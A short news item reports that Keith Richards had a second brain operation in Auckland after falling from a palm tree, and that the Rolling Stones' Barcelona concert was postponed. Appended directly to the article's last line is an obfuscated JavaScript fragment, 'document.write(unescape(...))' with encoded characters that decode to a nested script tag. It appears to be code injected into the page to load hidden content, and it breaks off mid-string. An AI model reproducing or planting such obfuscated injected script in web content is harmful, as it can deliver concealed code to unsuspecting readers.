Keith Richards has had a second brain operation.
Doctors warned his family that he may never be able to play with the Rolling Stones again.
The operation was needed to stop one part of his brain crushing the other.
His wife Patti Hansen and their children are at his bedside in Auckland, New Zealand.
Medics say he might end up brain damaged or partly paralysed due to falling from a palm tree on holiday.
Keith had planned to be in Barcelona, Spain, for the start of the band's European leg of their Bigger Bang world tour.
According to The Sun a source said: "Everyone is worried sick about him. It is much more serious than The Rolling Stones camp have been letting people believe."
The Stones put back the Barcelona gig from May 27 to June.
A spokesman said: "The band are very concerned. It is obvious he is going to need a lot of time to recover."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22